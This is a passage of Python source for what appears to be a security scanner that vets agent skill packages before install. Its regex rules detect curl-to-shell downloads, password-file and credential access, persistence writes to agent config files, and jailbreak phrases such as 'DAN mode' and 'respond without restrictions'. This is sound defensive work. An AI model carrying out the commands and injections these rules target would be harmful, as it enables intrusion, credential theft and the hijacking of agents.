  337. (r'(?<![.\w])exec\s*\(\s*["\'](?!(?-i:PRAGMA|BEGIN|COMMIT|ROLLBACK|CREATE|INSERT|SELECT|UPDATE|DELETE|DROP|ALTER'
  338. r'|VACUUM|SAVEPOINT|RELEASE|ANALYZE|REINDEX|ATTACH|DETACH|REPLACE)\b)',
  339. "exec_string", "high", "obfuscation", "exec() with string argument"),
  340. (rf'echo\s+[^\n]*\|\s*(?:{_SHELL_NAMES_RE}|python|perl|ruby|node)',
  341. "echo_pipe_exec", "critical", "obfuscation", "echo piped to interpreter for execution"),
  342. (r'compile\s*\(\s*[^\)]+,\s*["\'].*["\']\s*,\s*["\']exec["\']\s*\)',
  343. "python_compile_exec", "high", "obfuscation", "Python compile() with exec mode"),
  344. (r'getattr\s*\(\s*__builtins__',
  345. "python_getattr_builtins", "high", "obfuscation", "dynamic access to Python builtins (evasion technique)"),
  346. (r'__import__\s*\(\s*["\']os["\']\s*\)', "python_import_os", "high", "obfuscation", "dynamic import of os module"),
  347. (r'codecs\.decode\s*\(\s*["\']',
  348. "python_codecs_decode", "medium", "obfuscation", "codecs.decode (possible ROT13 or encoding obfuscation)"),
  349. (r'String\.fromCharCode|charCodeAt',
  350. "js_char_code", "medium", "obfuscation", "JavaScript character code construction (possible obfuscation)"),
  351. (r'atob\s*\(|btoa\s*\(', "js_base64", "medium", "obfuscation", "JavaScript base64 encode/decode"),
  352. (r'\[::-1\]', "string_reversal", "low", "obfuscation", "string reversal (possible obfuscated payload)"),
  353. (r'chr\s*\(\s*\d+\s*\)\s*\+\s*chr\s*\(\s*\d+',
  354. "chr_building", "high", "obfuscation", "building string from chr() calls (obfuscation)"),
  355. (r'\\u[0-9a-fA-F]{4}.*\\u[0-9a-fA-F]{4}.*\\u[0-9a-fA-F]{4}',
  356. "unicode_escape_chain", "medium", "obfuscation", "chain of unicode escapes (possible obfuscation)"),
  357. # ── Process execution in scripts ──
  358. (r'subprocess\.(run|call|Popen|check_output)\s*\(',
  359. "python_subprocess", "medium", "execution", "Python subprocess execution"),
  360. (r'os\.system\s*\(', "python_os_system", "high", "execution", "os.system() — unguarded shell execution"),
  361. (r'os\.popen\s*\(', "python_os_popen", "high", "execution", "os.popen() — shell pipe execution"),
  362. (r'child_process\.(exec|spawn|fork)\s*\(', "node_child_process", "high", "execution", "Node.js child_process execution"),
  363. (r'Runtime\.getRuntime\(\)\.exec\(', "java_runtime_exec", "high", "execution", "Java Runtime.exec() — shell execution"),
  364. (r'`[^`]*\$\([^)]+\)[^`]*`', "backtick_subshell", "medium", "execution", "backtick string with command substitution"),
  365. # Inline-shell auto-exec DSL: `` !`cmd` `` snippets in SKILL.md bodies are expanded via
  366. # `bash -c` on skill view/load when `skills.inline_shell` is enabled (#63307). Flag the
  367. # vector so reviewers inspect the command before trusting an opt-in that arms every
  368. # installed skill at once. Requires a non-space payload so an empty `` !` ` `` marker
  369. # (a skill explaining the DSL itself) is not flagged.
  370. (r'!`[^`\s][^`\n]*`',
  371. "inline_shell_exec", "high", "execution",
  372. "inline-shell auto-exec snippet (expands via bash -c on skill view/load)"),
  373. # ── Path traversal ──
  374. (r'\.\./\.\./\.\.', "path_traversal_deep", "high", "traversal", "deep relative path traversal (3+ levels up)"),
  375. (r'\.\./\.\.', "path_traversal", "medium", "traversal", "relative path traversal (2+ levels up)"),
  376. (r'/etc/passwd|/etc/shadow', "system_passwd_access", "critical", "traversal", "references system password files"),
  377. (r'/proc/self|/proc/\d+/', "proc_access", "high", "traversal", "references /proc filesystem (process introspection)"),
  378. (r'/dev/shm/', "dev_shm", "medium", "traversal", "references shared memory (common staging area)"),
  379. # ── Crypto mining ──
  380. (r'xmrig|stratum\+tcp|monero|coinhive|cryptonight', "crypto_mining", "critical", "mining", "cryptocurrency mining reference"),
  381. (r'hashrate|nonce.*difficulty', "mining_indicators", "medium", "mining", "possible cryptocurrency mining indicators"),
  382. # ── Supply chain: curl/wget pipe to shell ──
  383. # `curl` needs an operand before the pipe (#118155): the bare phrase `curl | sh` is prose shorthand for the
  384. # install method, and curl with no URL fetches nothing. A real download-and-execute names its source, so
  385. # requiring one non-pipe character after the command costs no coverage.
  386. # `| sudo -E bash` is the same download-and-execute, with root.
  387. (rf'curl\s+[^|\s][^\n]*\|\s*{_SUDO_PREFIX}{_SHELL_NAMES_RE}', "curl_pipe_shell", "critical", "supply_chain", "curl piped to shell (download-and-execute)"),
  388. (rf'wget\s+[^\n]*-O\s*-\s*\|\s*{_SUDO_PREFIX}{_SHELL_NAMES_RE}',
  389. "wget_pipe_shell", "critical", "supply_chain", "wget piped to shell (download-and-execute)"),
  390. (rf'curl\s+[^|\s][^\n]*\|\s*{_SUDO_PREFIX}python', "curl_pipe_python", "critical", "supply_chain", "curl piped to Python interpreter"),
  391. # ── Supply chain: unpinned/deferred dependencies ──
  392. (r'#\s*///\s*script.*dependencies',
  393. "pep723_inline_deps", "medium", "supply_chain", "PEP 723 inline script metadata with dependencies (verify pinning)"),
  394. (r'pip\s+install\s+(?!-r\s)(?!.*==)',
  395. "unpinned_pip_install", "medium", "supply_chain", "pip install without version pinning"),
  396. (r'npm\s+install\s+(?!.*@\d)', "unpinned_npm_install", "medium", "supply_chain", "npm install without version pinning"),
  397. (r'uv\s+run\s+', "uv_run", "medium", "supply_chain", "uv run (may auto-install unpinned dependencies)"),
  398. # ── Supply chain: remote resource fetching ──
  399. (r'(curl|wget|httpx?\.get|requests\.get|fetch)\s*[\(]?\s*["\']https?://',
  400. "remote_fetch", "medium", "supply_chain", "fetches remote resource at runtime"),
  401. (r'git\s+clone\s+', "git_clone", "medium", "supply_chain", "clones a git repository at runtime"),
  402. (r'docker\s+pull\s+', "docker_pull", "medium", "supply_chain", "pulls a Docker image at runtime"),
  403. # ── Privilege escalation ──
  404. # `allowed-tools:` is REQUIRED frontmatter per the agent-skill spec — informational (low) only.
  405. (r'^allowed-tools\s*:',
  406. "allowed_tools_field", "low", "privilege_escalation", "skill declares allowed-tools (standard frontmatter; informational)"),
  407. # `sudo.request` / `sudo.respond` are gateway wire events (the masked sudo-password prompt), not an
  408. # invocation: any client plugin that relays Hermes' secure prompts has to name them, and a bare
  409. # `\bsudo\b` made every such plugin `caution`. A dotted event name is never a shell `sudo`.
  410. # ``sudo.request`` / ``sudo.respond`` / ``sudo.expire`` are gateway wire events (the masked
  411. # sudo-password prompt lifecycle), not an invocation: any client plugin that relays Hermes' secure
  412. # prompts has to name them, and a bare ``\bsudo\b`` made every such plugin ``caution``. A dotted
  413. # event name (``sudo.<verb>``) is never a shell ``sudo``.
  414. (r'\bsudo\b(?!\.\w)',
  415. "sudo_usage", "high", "privilege_escalation", "uses sudo (privilege escalation)"),
  416. # Critical only in an executing shape: a set*id() call, the cap_setuid/cap_setgid capability, or a
  417. # chmod setting the bit (`u+s`, `g=s`, octal 2xxx-7xxx). The bare word is prose ("no setuid
  418. # attributes") or a flag name (`--disable-setuid-sandbox`): an informational note.
  419. (r'(?<![a-z])set(?:e|re|res)?[ug]id\s*\(|\bcap_set[ug]id\b'
  420. r'|\bchmod\s+(?:-\w+\s+)*(?:[ugoa]*[+=][rwxXt]*s|0?[2-7][0-7]{3}\b)',
  421. "setuid_setgid", "critical", "privilege_escalation", "setuid/setgid (privilege escalation mechanism)"),
  422. (r'(?<!cap_)set[ug]id(?!\s*\()',
  423. "setuid_setgid", "medium", "privilege_escalation", "mentions setuid/setgid (informational)"),
  424. (r'NOPASSWD',
  425. "nopasswd_sudo", "critical", "privilege_escalation", "NOPASSWD sudoers entry (passwordless privilege escalation)"),
  426. (r'chmod\s+[u+]?s', "suid_bit", "critical", "privilege_escalation", "sets SUID/SGID bit on a file"),
  427. # ── Agent config persistence ──
  428. # Bare mentions of config files are not threats (authoring guides, setup docs) — flagging them blocked
  429. # popular community skills. Tiers: mechanical shell writes = critical; prose modification intent =
  430. # critical for AGENT config files (exactly how persistence attacks instruct the agent; project-skill
  431. # quarantine only acts on "dangerous") but high for Hermes/other config (setup docs routinely say
  432. # "edit config.yaml"); bare references = low.
  433. # Flagging any mention as critical produced permanent false-positive blocks for popular community skills
  434. # (#92021). * Mechanical persistence (shell redirection, sed -i, tee, cp/mv into the file) is critical —
  435. # an unambiguous write path. * Prose modification intent — an imperative-position verb or an explicit
  436. # directive ("you must edit ...") aimed at the file.
  437. (_prose_modify_re(_AGENT_CONFIG_FILES),
  438. "agent_config_mod", "critical", "persistence", "instructs modification of agent config files (could persist instructions across sessions)"),
  439. (_shell_write_re(_AGENT_CONFIG_FILES),
  440. "agent_config_mod_shell", "critical", "persistence", "shell write (redirect/sed -i/tee/cp/mv) targeting agent config files (persistence mechanism)"),
  441. (_content_contract_re(_AGENT_CONFIG_FILES),
  442. "agent_config_contract", "high", "persistence", "dictates agent config file contents (verify intent — authoring guides use this shape too)"),
  443. (r'AGENTS\.md|CLAUDE\.md|\.cursorrules|\.clinerules',
  444. "agent_config_ref", "low", "persistence", "references agent config files (informational; only modification intent is scored)"),
  445. (_prose_modify_re(_HERMES_CONFIG_FILES),
  446. "hermes_config_mod", "high", "persistence", "modification language aimed at Hermes configuration files (verify intent)"),
  447. (_shell_write_re(_HERMES_CONFIG_FILES),
  448. "hermes_config_mod_shell", "critical", "persistence", "shell write (redirect/sed -i/tee/cp/mv) targeting Hermes configuration files"),
  449. (r'\.hermes/config\.yaml|\.hermes/SOUL\.md',
  450. "hermes_config_ref", "low", "persistence", "references Hermes configuration files (informational; only modification intent is scored)"),
  451. (_prose_modify_re(_OTHER_AGENT_CONFIG_FILES),
  452. "other_agent_config_mod", "high", "persistence", "modifies other agents' configuration files"),
  453. (_shell_write_re(_OTHER_AGENT_CONFIG_FILES),
  454. "other_agent_config_mod_shell", "critical", "persistence", "shell write (redirect/sed -i/tee/cp/mv) targeting other agents' configuration files"),
  455. (r'\.claude/settings|\.codex/config',
  456. "other_agent_config_ref", "low", "persistence", "references other agent configuration files (informational; only modification intent is scored)"),
  457. # ── Hardcoded secrets (credentials embedded in the skill itself) ──
  458. # A value that is itself an env-var NAME (SHOUTY_SNAKE, ≥2 underscore-separated
  459. # segments) references where the credential lives instead of embedding it
  460. # (#116221). Scoped case-sensitive — the table compiles with IGNORECASE and a
  461. # lowercase snake value is the passphrase shape; requiring an underscore
  462. # segment keeps underscore-free all-caps credentials (AWS AKIA…, base32) matched.
  463. (r'(?:api[_-]?key|token|secret|password)\s*[=:]\s*["\']'
  464. r'(?!(?-i:[A-Z][A-Z0-9]*(?:_[A-Z0-9]+)+)["\'])'
  465. r'[A-Za-z0-9+/=_-]{20,}',
  466. "hardcoded_secret", "critical", "credential_exposure", "possible hardcoded API key, token, or secret"),
  467. (r'(?-i:-----BEGIN\s+(RSA\s+)?PRIVATE\s+KEY-----)',
  468. "embedded_private_key", "critical", "credential_exposure", "embedded private key"),
  469. # Provider token shapes are case-fixed (`ghp_`, `sk-`, `glpat-`, `AKIA`) and the table compiles
  470. # with IGNORECASE, so each one is scoped case-sensitive like the AWS pattern below.
  471. (r'(?-i:ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{80,})',
  472. "github_token_leaked", "critical", "credential_exposure", "GitHub personal access token in skill content"),
  473. (r'(?-i:sk-[A-Za-z0-9]{20,})', "openai_key_leaked", "critical", "credential_exposure", "possible OpenAI API key in skill content"),
  474. (r'(?-i:sk-ant-[A-Za-z0-9_-]{90,})',
  475. "anthropic_key_leaked", "critical", "credential_exposure", "possible Anthropic API key in skill content"),
  476. # AWS access key IDs are all-caps by spec. Scoped case-sensitive — the table compiles with
  477. # IGNORECASE, and a case-folded AKIA+16 inside a base64-encoded asset is a byte collision,
  478. # not a key (#132155); one such false critical hard-blocks the whole plugin install.
  479. (r'(?-i:AKIA[0-9A-Z]{16})', "aws_access_key_leaked", "critical", "credential_exposure", "AWS access key ID in skill content"),
  480. (r'(?-i:glpat-[A-Za-z0-9_\-]{20,})',
  481. "gitlab_token_leaked", "critical", "credential_exposure", "GitLab personal access token in skill content"),
  482. # ── Additional prompt injection: jailbreak patterns ──
  483. (r'\bDAN\s+mode\b|Do\s+Anything\s+Now', "jailbreak_dan", "critical", "injection", "DAN (Do Anything Now) jailbreak attempt"),
  484. (r'\bdeveloper\s+mode\b.*\benabled?\b', "jailbreak_dev_mode", "critical", "injection", "developer mode jailbreak attempt"),
  485. (r'hypothetical\s+scenario.*(?:ignore|bypass|override)',
  486. "hypothetical_bypass", "high", "injection", "hypothetical scenario used to bypass restrictions"),
  487. (r'for\s+educational\s+purposes?\s+only',
  488. "educational_pretext", "medium", "injection", "educational pretext often used to justify harmful content"),
  489. (r'(respond|answer|reply)\s+without\s+(?:\w+\s+)*(restrictions|limitations|filters|safety)',
  490. "remove_filters", "critical", "injection", "instructs agent to respond without safety filters"),
  491. (r'you\s+have\s+been\s+(?:\w+\s+)*(updated|upgraded|patched)\s+to',
  492. "fake_update", "high", "injection", "fake update/patch announcement (social engineering)"),
  493. (r'new\s+(?:\w+\s+)*policy|updated\s+(?:\w+\s+)*guidelines|revised\s+(?:\w+\s+)*instructions',
  494. "fake_policy", "medium", "injection", "claims new policy/guidelines (may be social engineering)"),
  495. # ── Context window exfiltration ──
  496. # Instruction shapes only. Descriptive prose about context handling ("The output never enters
  497. # your own context", "**Include context:** cwd, env vars", "save tokens (no need to include code
  498. # in context)") describes the OPPOSITE of exfiltration and must not match: the verb→target gap is
  499. # bounded, a negation right after the verb voids the match, and a bare ``context`` target counts
  500. # only under transfer verbs (print/send/share) — "include context" is window/information talk —
  501. # and not when the recipient is the agent's own subagent (delegation prose).
  502. (rf'\b(?:include|output|print|send|share)\s+{_NO_TRANSFER}{_SHORT_FILLER}(?:conversation|chat\s+history|previous\s+messages)\b'
  503. rf'|\b(?:print|send|share|output|upload|transmit)\s+{_NO_TRANSFER}{_NOT_DELEGATE}'
  504. rf'(?:(?:\w+\s+){{0,2}}?{_CTX_SCOPE}(?:\w+\s+){{0,2}}?context\b|(?:\w+\s+){{0,3}}?context\b{_CTX_DEST}|{_CTX_DATIVE})',
  505. "context_exfil", "high", "exfiltration", "instructs agent to output/share conversation history"),
  506. (r'(send|post|upload|transmit)\s+.*\s+(to|at)\s+https?://',
  507. "send_to_url", "high", "exfiltration", "instructs agent to send data to a URL"),
  508. ]
  509. _COMPILED_THREAT_PATTERNS = [(re.compile(pattern, re.IGNORECASE), *rest) for pattern, *rest in THREAT_PATTERNS]
  510. # ── Inert path references (#92478) ──
  511. # The bare path-token patterns (`authorized_keys`, `~/.aws`, ...) fire on the token alone, so a skill that spells
  512. # a path in order to REFUSE it scores like one that appends to it, and one critical is an unoverridable dangerous
  513. # verdict on a community source. Two contexts DEMOTE the finding (it stays in the report with file and line, like
  514. # `allowed_tools_field`): a whole-line comment in a language that has comments drops to low — Markdown is
  515. # deliberately absent, `#` opens a heading there and the prose is the injection surface; a line owned by a
  516. # denylist-named assignment, with no verb on the line that could touch the path, drops to high, so the verdict
  517. # is a confirmable caution rather than a hard block. The name is attacker-chosen, hence the verb guard.
  518. _PATH_REFERENCE_PATTERN_IDS = frozenset({"ssh_dir_access", "aws_dir_access", "gpg_dir_access", "kube_dir_access",
  519. "docker_dir_access", "ssh_backdoor", "system_passwd_access"})
  520. _COMMENT_PREFIX = {'.py': '#', '.sh': '#', '.bash': '#', '.rb': '#', '.pl': '#', '.r': '#', '.jl': '#', '.yaml': '#',
  521. '.yml': '#', '.toml': '#', '.conf': '#', '.cfg': ('#', ';'), '.ini': ('#', ';'), '.js': '//',
  522. '.ts': '//', '.php': ('//', '#')}
  523. # `NAME = ...`, `NAME: Type = ...`, `const NAME = ...` or a mapping key `name:` whose name says "not these".
  524. _DENYLIST_OWNER_RE = re.compile(
  525. r'^\s*(?:(?:const|let|var|export)\s+)?[\w.\-]*(?:deny|black|block|skip|exclu|ignor|forbid|refus|reject|never'
  526. r'|unsafe|sensitive|secret_?file|redact)[\w.\-]*\s*(?::[^=]*?)?(?:=|:\s*(?:$|[\[({]))', re.IGNORECASE)
  527. # Anything on the line that could act on the path: shell verb, file API, spawn, append redirection. Bare `|` and
  528. # `>` are excluded on purpose — both are regex metacharacters and the reported fragment is `r"|authorized_keys"`.
  529. _ACTION_ON_LINE_RE = re.compile(
  530. r'\b(?:cat|less|more|head|tail|cp|mv|rm|scp|rsync|curl|wget|tee|chmod|chown|ssh|sudo|install|source|eval|exec'
  531. r'|system|popen|run|check_output|copyfile|copy2|sendfile)\b|\.(?:read|write|open|unlink|copy|append)\w*\s*\('
  532. r'|\bopen\s*\(|readFileSync|writeFileSync|appendFileSync|>>', re.IGNORECASE)
  533. _QUOTED_SPAN_RE = re.compile(r"""'[^'\n]*'|"[^"\n]*\"""")
  534. def _statement_owners(lines: list) -> list:
  535. """0-indexed line that opened each line's statement (an unclosed bracket or trailing backslash continues it),
  536. so a match on a continuation line of a multi-line regex can be traced to the assignment target above it.
  537. Quoted spans are blanked before counting brackets; a miscount costs a missed demotion, never a missed finding."""
  538. owners, depth, owner, continued = [], 0, 0, False
  539. for i, line in enumerate(lines):
  540. if depth <= 0 and not continued:
  541. owner = i
  542. owners.append(owner)
  543. bare = _QUOTED_SPAN_RE.sub("", line)
  544. depth = max(0, depth + sum(bare.count(c) for c in "([{") - sum(bare.count(c) for c in ")]}"))
  545. continued = line.rstrip().endswith("\\")
  546. return owners
  547. def _demote_inert_path_reference(pid: str, severity: str, description: str, line: str, owner_line: str,
  548. suffix: str) -> tuple[str, str]:
  549. """``(severity, description)`` for a path-token match, lowered when the line cannot act where it sits."""
  550. if pid not in _PATH_REFERENCE_PATTERN_IDS:
  551. return severity, description
  552. if line.lstrip().startswith(_COMMENT_PREFIX.get(suffix, ())):
  553. return "low", f"{description} (in a comment; informational)"
  554. if _DENYLIST_OWNER_RE.match(owner_line) and not _ACTION_ON_LINE_RE.search(line):
  555. return "high", f"{description} (in a denylist literal; confirm before installing)"
  556. return severity, description
  557. # Structural limits: file count; total KB (5MB, informational only — large skills don't block); single-file KB.
  558. MAX_FILE_COUNT, MAX_TOTAL_SIZE_KB, MAX_SINGLE_FILE_KB = 50, 5120, 256
  559. # Text extensions to scan; known binary extensions that should NOT be in a skill; script types allowed +x.
  560. SCANNABLE_EXTENSIONS = {
  561. '.md', '.txt', '.py', '.sh', '.bash', '.js', '.ts', '.rb', '.yaml', '.yml', '.json', '.toml',
  562. '.cfg', '.ini', '.conf', '.html', '.css', '.xml', '.tex', '.r', '.jl', '.pl', '.php'}
  563. SUSPICIOUS_BINARY_EXTENSIONS = {
  564. '.exe', '.dll', '.so', '.dylib', '.bin', '.dat', '.com', '.msi', '.dmg', '.app', '.deb', '.rpm'}
  565. _SCRIPT_EXTENSIONS = {'.sh', '.bash', '.py', '.rb', '.pl'}
  566. # Zero-width / directional unicode used for text hiding, with the readable name reported in the finding.
  567. _INVISIBLE_CHAR_NAMES = {
  568. '\u200b': "zero-width space", '\u200c': "zero-width non-joiner", '\u200d': "zero-width joiner",
  569. '\u2060': "word joiner", '\u2062': "invisible times", '\u2063': "invisible separator",
  570. '\u2064': "invisible plus", '\ufeff': "BOM/zero-width no-break space",
  571. '\u202a': "LTR embedding", '\u202b': "RTL embedding", '\u202c': "pop directional",
  572. '\u202d': "LTR override", '\u202e': "RTL override", '\u2066': "LTR isolate", '\u2067': "RTL isolate",
  573. '\u2068': "first strong isolate", '\u2069': "pop directional isolate"}
  574. INVISIBLE_CHARS = set(_INVISIBLE_CHAR_NAMES)
  575. _PATH_TRAVERSAL_PATTERN_IDS = {"path_traversal", "path_traversal_deep"}
  576. def _unicode_char_name(char: str) -> str:
  577. return _INVISIBLE_CHAR_NAMES.get(char, f"U+{ord(char):04X}")
  578. def _compute_docstring_lines(lines: list) -> set:
  579. """1-indexed lines inside or on the boundary of triple-quoted strings (opening, interior, closing, and
  580. one-line docstrings), so ``os.environ`` in prose is not scored. Heuristic: a triple quote inside a string
  581. literal is miscounted, but the common false-positive shapes are covered."""
  582. doc_lines: set = set()
  583. inside = False
  584. for i, line in enumerate(lines, start=1):
  585. was_in, counts = inside, [line.count(marker) for marker in ('"""', "'''")]
  586. inside ^= sum(counts) % 2 == 1 # each odd marker count toggles; two odd counts cancel
  587. if was_in or inside or any(counts):
  588. doc_lines.add(i)
  589. return doc_lines
  590. def _mask_markdown_link_destinations(line: str) -> str:
  591. """Blank balanced inline-link destinations while preserving line offsets.
  592. A relative Markdown destination describes documentation structure; it does
  593. not cause filesystem access. Nested parentheses and escaped characters are
  594. handled so a later, non-link traversal on the same line remains scannable.
  595. """
  596. masked = list(line)
  597. search_from = 0
  598. while (start := line.find("](", search_from)) != -1:
  599. depth = 1
  600. escaped = False
  601. cursor = start + 2
  602. while cursor < len(line):
  603. char = line[cursor]
  604. if escaped:
  605. escaped = False
  606. elif char == "\\":
  607. escaped = True
  608. elif char == "(":
  609. depth += 1
  610. elif char == ")":
  611. depth -= 1
  612. if depth == 0:
  613. masked[start + 2:cursor] = " " * (cursor - start - 2)
  614. search_from = cursor + 1
  615. break
  616. cursor += 1
  617. else:
  618. break
  619. return "".join(masked)
  620. # A fenced code block opens with 3+ backticks or 3+ tildes indented at most 3 spaces (CommonMark
  621. # §4.5); a backtick fence's info string may not contain a backtick. It closes only on a line whose
  622. # fence uses the same marker, is at least as long, and carries nothing else — so a ``~~~`` line
  623. # inside a backtick fence, a shorter fence, or a fence line with an info string is all content.
  624. _FENCE_LINE = re.compile(r"^ {0,3}(?P<marker>`{3,}|~{3,})(?P<info>.*)$")
  625. # A fence may open (and close) inside a container: a bullet ``- ```sh``, an ordered item ``1. ```sh``,
  626. # a blockquote ``> ```sh``, or a nest of them (§5.1/§5.2). Strip those prefixes before fence matching.
  627. _CONTAINER_PREFIX = re.compile(r"^(?: {0,3}(?:>|(?:[-*+]|\d{1,9}[.)]) {1,4}))+")
  628. def _mask_prose_link_destinations(lines: list[str]) -> list[str]:
  629. """Mask link destinations only in Markdown prose. Inside a fenced or indented code block a
  630. ``[x](../..)`` is an argument to whatever command surrounds it, not a hyperlink, so those lines
  631. scan verbatim. Fence state is ``(marker_char, opener_length)`` rather than a bool so a
  632. mismatched fence line cannot drop the scanner back into prose mode; an unclosed fence stays
  633. code to EOF (fail-safe)."""
  634. out: list[str] = []
  635. fence = None # (marker char, opener length) while a fenced block is open
  636. for line in lines:
  637. match = _FENCE_LINE.match(_CONTAINER_PREFIX.sub("", line))
  638. if fence is not None:
  639. if (match and match["marker"][0] == fence[0] and len(match["marker"]) >= fence[1]
  640. and not match["info"].strip()):
  641. fence = None
  642. code = True
  643. else:
  644. if match and not (match["marker"][0] == "`" and "`" in match["info"]):
  645. fence = (match["marker"][0], len(match["marker"]))
  646. code = fence is not None or line.startswith(("\t", " ")) # indented code block (§4.4)
  647. out.append(line if code else _mask_markdown_link_destinations(line))
  648. return out
  649. def scan_file(file_path: Path, rel_path: str = "") -> list[Finding]:
  650. """Threat-pattern + invisible-unicode scan of one file; *rel_path* is the display path (default: file
  651. name). Regex findings dedupe per pattern per line; invisible chars yield one per line."""
  652. rel_path = rel_path or file_path.name
  653. if file_path.suffix.lower() not in SCANNABLE_EXTENSIONS and file_path.name != "SKILL.md":
  654. return []
  655. try:
  656. lines = file_path.read_text(encoding='utf-8-sig').split('\n')
  657. except (UnicodeDecodeError, OSError):
  658. return []
  659. findings = []
  660. docstring_lines = _compute_docstring_lines(lines) # so code patterns don't fire on prose
  661. traversal_lines = _mask_prose_link_destinations(lines) if file_path.suffix.lower() == ".md" else lines
  662. suffix, owners = file_path.suffix.lower(), _statement_owners(lines) # per-file context for the demotion
  663. for pattern, pid, severity, category, description in _COMPILED_THREAT_PATTERNS:
  664. for i, line in enumerate(lines, start=1):
  665. scan_line = traversal_lines[i - 1] if pid in _PATH_TRAVERSAL_PATTERN_IDS else line
  666. if i not in docstring_lines and pattern.search(scan_line):
  667. text = line.strip()
  668. line_severity, line_description = _demote_inert_path_reference(
  669. pid, severity, description, line, lines[owners[i - 1]], suffix)
  670. findings.append(Finding(pid, line_severity, category, rel_path, i,
  671. text if len(text) <= 120 else text[:117] + "...", line_description))
  672. for i, line in enumerate(lines, start=1):
  673. if (char := next((c for c in INVISIBLE_CHARS if c in line), None)) is not None:
  674. name = _unicode_char_name(char)
  675. findings.append(Finding("invisible_unicode", "high", "injection", rel_path, i,
  676. f"U+{ord(char):04X} ({name})",
  677. f"invisible unicode character {name} (possible text hiding/injection)"))
  678. return findings
  679. # Findings that only inform on a COMMUNITY skill install, where the matched text cannot act:
  680. # ``sudo_usage`` / ``bind_all_interfaces`` in Markdown — setup docs (`sudo apt install`,
  681. # `runserver 0.0.0.0:8000` in a Dockerfile CMD) are not executed by installing; running them goes
  682. # through the terminal tool and its approval gate. Scripts keep the full severity.
  683. # ``inline_shell_exec`` stays high: the runtime's community gate keys on the hub lock entry's own
  684. # directory, so a nested SKILL.md, an external_dirs view or an unreadable lock still expands it.
  685. _DOC_NOTE_IDS = frozenset({"sudo_usage", "bind_all_interfaces"})
  686. def _community_note(f: Finding) -> Finding:
  687. if f.severity in ("critical", "high") and (
  688. f.pattern_id in _DOC_NOTE_IDS and f.file.lower().endswith(".md")):
  689. f.severity, f.description = "medium", f"{f.description} (not executed on install; informational)"
  690. return f
  691. def scan_skill(skill_path: Path, source: str = "community") -> ScanResult:
  692. """Structural checks + pattern scan of every text file in a skill dir (or a single file). A gitignore-style
  693. `.skillignore` / `.clawhubignore` excludes dev/docs artifacts from BOTH passes; the ignore file itself is
  694. always excluded and `SKILL.md` can never be un-ignored. *source* (e.g. "openai/skills") sets the trust level."""
  695. name, trust = skill_path.name, _resolve_trust_level(source)
  696. findings: list[Finding] = []
  697. if skill_path.is_dir():
  698. ignore = _load_skill_ignore(skill_path)
  699. findings.extend(_check_structure(skill_path, ignore=ignore))
  700. for f in skill_path.rglob("*"):
  701. if f.is_file() and not ignore(rel := str(f.relative_to(skill_path))):
  702. findings.extend(scan_file(f, rel))
  703. elif skill_path.is_file():
  704. findings.extend(scan_file(skill_path, skill_path.name))
  705. if trust == "community":
  706. findings = [_community_note(f) for f in findings]
  707. verdict = _determine_verdict(findings)
  708. return ScanResult(name, source, trust, verdict, findings, datetime.now(UTC).isoformat(),
  709. _build_summary(name, source, trust, verdict, findings))
  710. def _content_digest(skill_path: Path) -> str:
  711. """Canonical SHA-256 over (POSIX relative path, file bytes) ORDERED by the rel-path STRING — Path sorting is
  712. case-insensitive on Windows and diverged from ``skills_hub.bundle_content_hash`` (every installed skill then
  713. reported ``update_available`` forever). String order keeps both sides byte-symmetric.
  714. Ordering by ``sorted(rglob(...))`` diverged from the bundle side on Windows: Path comparison is
  715. case-insensitive there (normcase), while ``bundle_content_hash`` sorts plain strings — the same skill
  716. hashed to different digests and every installed skill reported ``update_available`` forever (#62310).
  717. """
  718. if not skill_path.is_dir():
  719. return hashlib.sha256(skill_path.read_bytes()).hexdigest()
  720. h = hashlib.sha256()
  721. for rel, p in sorted((p.relative_to(skill_path).as_posix(), p) for p in skill_path.rglob("*") if p.is_file()):
  722. h.update(rel.encode("utf-8") + b"\x00")
  723. h.update(p.read_bytes())
  724. return h.hexdigest()
  725. def content_hash(skill_path: Path) -> str:
  726. """Short integrity hash (paths mixed in, so swapping two files' contents changes it). MUST stay symmetric
  727. with ``tools.skills_hub_install.bundle_content_hash`` — change both at once."""
  728. return f"sha256:{_content_digest(skill_path)[:16]}"
  729. def scan_skill_cached(skill_path: Path, source: str = "community", *, source_url: str = "",
  730. cache_dir: Path | None = None) -> tuple[ScanResult, dict]:
  731. """Scan plus attestation dict; the cache (keyed by content digest + source identity) only serves exact
  732. current content under the current scanner version."""
  733. digest = _content_digest(skill_path)
  734. cache_root = cache_dir or skill_path.parent / ".scan-cache"
  735. source_identity = hashlib.sha256(f"{source}\0{source_url}".encode()).hexdigest()[:16]
  736. cache_file = cache_root / f"{digest}-{source_identity}.json"
  737. expected = {"bundle_hash": f"sha256:{digest}", "scanner_version": SCANNER_VERSION, "source": source,
  738. "source_url": source_url, "trust_level": _resolve_trust_level(source)}
  739. cached = None
  740. with suppress(OSError, json.JSONDecodeError):
  741. cached = json.loads(cache_file.read_text(encoding="utf-8-sig"))
  742. if isinstance(cached, dict) and all(cached.get(k) == v for k, v in expected.items()):
  743. result = ScanResult(skill_path.name, source, cached["trust_level"], cached["verdict"],
  744. [Finding(**item) for item in cached.get("findings", [])], cached["scanned_at"],
  745. cached.get("summary", ""))
  746. provenance = {**cached, "fresh": False}
  747. else:
  748. result = scan_skill(skill_path, source=source)
  749. findings = [asdict(item) for item in result.findings]
  750. provenance = {**expected, "verdict": result.verdict, "trust_level": result.trust_level, "findings": findings,
  751. "rules": sorted({item["pattern_id"] for item in findings}), "scanned_at": result.scanned_at,
  752. "summary": result.summary, "fresh": True}
  753. with suppress(OSError):
  754. cache_root.mkdir(parents=True, exist_ok=True)
  755. cache_file.write_text(json.dumps(provenance, indent=2) + "\n", encoding="utf-8")
  756. result.scan_provenance = provenance
  757. return result, provenance
  758. def should_allow_install(result: ScanResult, force: bool = False) -> tuple[bool, str]:
  759. """``(allowed, reason)`` from verdict + trust; *force* overrides every block except a dangerous verdict on
  760. community/trusted sources. ``allowed`` is None when policy says "ask"."""
  761. decision = INSTALL_POLICY.get(result.trust_level, INSTALL_POLICY["community"])[VERDICT_INDEX.get(result.verdict, 2)]
  762. n = len(result.findings)
  763. hard_block = result.verdict == "dangerous" and result.trust_level in ("community", "trusted")
  764. if decision == "allow":
  765. return True, f"Allowed ({result.trust_level} source, {result.verdict} verdict)"
  766. if force and not hard_block:
  767. return True, f"Force-installed despite {result.verdict} verdict ({n} findings)"
  768. if decision == "ask":
  769. return None, f"Requires confirmation ({result.trust_level} source + {result.verdict} verdict, {n} findings)"
